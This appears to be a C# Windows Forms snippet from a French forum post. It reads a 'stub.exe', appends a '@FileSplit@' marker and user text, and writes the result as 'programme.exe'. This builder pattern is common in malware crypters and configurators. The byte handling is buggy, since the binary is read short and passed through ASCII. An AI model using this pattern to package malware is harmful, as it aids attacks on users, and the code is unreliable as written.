1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
string stub;
string text1;
const string FileSplit = "@FileSplit@";
private void Button1_Click(object sender, EventArgs e)
{
text1 = TextBox1.Text;
FileStream ouvreStub = File.Open(Application.StartupPath + "\\stub.exe", FileMode.Open, FileAccess.Read, FileShare.None);
String test = new String(' ', (int)ouvreStub.Length);
// LE PROBLEME
Byte[] bArray = new Byte[ouvreStub.Length];
ouvreStub.Read(bArray, 0, (int)bArray.Length - 1);
//CONVERSION ASCII ET STOCKAGE DANS STRING TEST
test = Encoding.ASCII.GetString(bArray, 0, (int)bArray.Length - 1);
stub = test + Environment.NewLine;
//stub = test;
// LE PROBLEME ...
//FileGet(1, stub);
ouvreStub.Close();
if (File.Exists("programme.exe"))
{
File.Delete("programme.exe");
}
FileStream ouvreProgramme = File.Open(Application.StartupPath + "\\programme.exe", FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None);
BinaryWriter bw = new BinaryWriter(ouvreProgramme);
bw.Write(stub + FileSplit + text1);
ouvreProgramme.Close();
}
}
} |
Partager